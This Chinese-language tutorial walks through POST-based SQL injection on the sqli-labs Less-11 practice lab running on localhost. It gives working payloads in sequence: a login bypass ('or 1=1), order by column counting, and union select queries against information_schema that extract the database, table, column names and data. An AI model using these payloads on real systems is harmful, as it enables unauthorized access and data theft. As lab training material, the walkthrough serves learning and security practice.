摘要 {#摘要}
这篇文章介绍了如何对一个POST注入类型的SQL注入漏洞进行利用,示例漏洞为Less-11。作者先通过尝试万能密码操作,成功跳过了登录步骤。接下来通过执行order by语句,判断了该漏洞的查询字段数和显错位。然后作者通过联合查询信息模板原理,利用information_schema检索出当前数据库名和所需数据表名、列名,最后通过查询语句获得相应数据。
前言 {#前言}
首先大家第一眼看到这个题目是不是发现它跟我们以往做的题目有所不同,他的传参方式和以往是不同的,这次变成了post传参,但他们的注入方式是差不多的,那么就让我们开始今天的实验。
前期准备 {#前期准备}
开启phpstudy,开启apache服务以及mysql服务
打开ASCII表
实验环节 {#实验环节}
浏览器访问Less-11 {#浏览器访问Less-11}
http://127.0.0.1/sqli-labs-master/Less-11/
尝试万能密码 {#尝试万能密码}
'or 1=1 -- xz
#需在登录框里输入该命令
判断字段数 {#判断字段数}
'or 1=1 order by 1 -- xz
#页面正常回显
'or 1=1 order by 2 -- xz
#页面正常回显
'or 1=1 order by 3 -- xz
#页面异常,说明字段数是2
判断显错位 {#判断显错位}
'union select 1,2 -- xz
判断库名 {#判断库名}
'union select 1,database() -- xz
#可得出我们的库名是security
判断表名 {#判断表名}
'union select 1,table_name from information_schema.tables where table_schema='security' -- xz
#说明我们的表名是emails
判断列名 {#判断列名}
'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' -- xz
#说明我们的列名是id
判断数据 {#判断数据}
'union select 1,id from emails-- xz
#说明我们emails下的id列的数据是1